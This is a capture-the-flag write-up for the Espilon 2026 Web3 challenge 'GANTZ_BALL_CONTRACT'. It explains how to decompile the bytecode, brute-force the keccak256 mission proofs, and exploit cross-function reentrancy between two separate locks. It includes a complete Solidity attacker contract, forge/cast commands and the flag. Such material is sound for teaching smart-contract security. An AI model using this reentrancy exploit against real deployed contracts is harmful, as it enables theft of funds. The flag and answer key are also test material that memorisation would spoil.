| .. | ||
| README.md | ||
GANTZ_BALL_CONTRACT
| Field | Value |
|---|---|
| Category | Web3 |
| Difficulty | Insane |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |
Description
The Black Sphere runs a smart contract that tracks hunter scores. Kill aliens, earn points. Reach 100 points and claim your freedom.
But there's a catch: no source code. Only the deployed bytecode.
nc espilon.net 1337— Challenge consolehttp://espilon.net:8545— Anvil RPC endpoint
Reverse the bytecode. Understand the scoring mechanism. Find the exploit. Claim your 100 points. Escape the game.
"Nobody said you had to play fair."
TL;DR
Decompile the bytecode to recover the ABI. Find that the contract uses two separate reentrancy
guards (_stakeLock and _rewardLock) instead of a single global lock. While inside unstake(),
_stakeLock=1 but _rewardLock=0 — enabling cross-function reentrancy into claimReward().
Brute-force 4 mission proof preimages. Deploy an attacker contract that earns 110 points, stakes
100, then re-enters claimReward() from the receive() callback during unstake().
Tools
| Tool | Purpose |
|---|---|
| Dedaub / Heimdall / Panoramix | EVM bytecode decompilation |
Foundry (forge, cast) |
Contract deployment and interaction |
Python 3 + web3.py |
Storage slot computation for preimage brute-force |
Solution
Step 1 — Get the bytecode
nc <host> 1337
bytecode
📸
[screenshot: console showing the deployed bytecode hex]
Step 2 — Decompile
Submit bytecode to Dedaub (app.dedaub.com) or run Heimdall:
heimdall decompile <bytecode_hex>
Recovered functions:
| Function | Signature |
|---|---|
register() |
Enroll as a hunter |
claimKill(uint256, string) |
Earn points per mission |
stakePoints(uint256) payable |
Stake points, deposit ETH (1 pt = 0.001 ETH) |
unstake() |
Withdraw ETH, restore points |
claimReward() |
Claim reward if points + stakedPoints >= 100 |
Critical finding: two separate guards _stakeLock (slot protecting stakePoints/unstake)
and _rewardLock (protecting claimReward). During unstake(), _stakeLock=1 but
_rewardLock=0 — the window for cross-function reentrancy.
📸
[screenshot: decompiler output showing two separate reentrancy guard variables]
Step 3 — Find the mission proof preimages
From contract storage, extract 4 keccak256 target hashes, then brute-force:
from web3 import Web3
targets = [...] # 4 keccak256 hashes from storage
wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien",
"cat_alien", "dog_alien", "fish_alien"]
for word in wordlist:
h = Web3.keccak(text=word).hex()
if h in targets:
print(f"Found: {word}")
| Mission | Points | Proof |
|---|---|---|
| 0 | 20 | onion_alien |
| 1 | 25 | tanaka_alien |
| 2 | 30 | buddha_alien |
| 3 | 35 | boss_alien |
Step 4 — Deploy the attacker contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IGantzBall {
function register() external;
function claimKill(uint256 missionId, string calldata proof) external;
function stakePoints(uint256 amount) external payable;
function unstake() external;
function claimReward() external;
}
contract GantzExploit {
IGantzBall public ball;
bool private attacking;
constructor(address _ball) payable { ball = IGantzBall(_ball); }
function exploit() external {
ball.register();
ball.claimKill(0, "onion_alien"); // +20 → 20 pts
ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
// Stake 100 points: points=10, stakedPoints=100
ball.stakePoints{value: 0.1 ether}(100);
attacking = true;
ball.unstake();
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100)
}
receive() external payable {
if (attacking) {
attacking = false;
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds
ball.claimReward();
}
}
}
forge create GantzExploit \
--constructor-args <BALL_ADDR> \
--value 0.2ether \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
cast send <EXPLOIT_ADDR> 'exploit()' \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
📸
[screenshot: forge deploy and cast send commands completing successfully]
Step 5 — Get the flag
nc <host> 1337
check
📸
[screenshot: console printing the flag after successful reentrancy exploit]
Key concepts
- EVM bytecode reversal: No source code — recover ABI and logic from raw opcodes
- Cross-function reentrancy: Two separate mutex flags allow re-entry across function boundaries — a classic vulnerability missed when developers use per-function guards instead of a global reentrancy lock
- keccak256 preimage brute force: Short human-readable strings are feasible to brute-force against known hashes stored in contract storage
- Storage layout: Dynamic array elements, mappings, and packed slots follow deterministic Solidity storage layout rules
Flag
ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}